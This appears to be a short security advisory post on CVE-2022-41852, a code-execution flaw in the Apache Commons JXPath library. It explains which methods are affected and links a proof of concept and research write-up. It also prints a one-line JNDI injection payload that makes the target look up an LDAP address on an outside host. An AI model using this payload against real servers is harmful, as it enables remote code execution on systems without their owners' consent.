⚙️ Apache Commons Jxpath (CVE-2022-41852)

This vulnerability affects Java library called Apache Commons JXPath, which is used for processing XPath syntax. All versions (including latest version) are affected by this vulnerability. If your application uses JXPath library, you might be vulnerable. According to CVE information, all methods for XPath processing are vulnerable, except for except compile() and compilePath(). If user can provide value for the XPath expression, it might allow him to execute code on your application server.

Payload:
jxPathContext.getValue("javax.naming.InitialContext.doLookup(\"ldap://check.dnslog.cn/obj\")");

PoC:
https://github.com/Warxim/CVE-2022-41852

Research:
https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

#apache #commons #jxpath #cve #exploit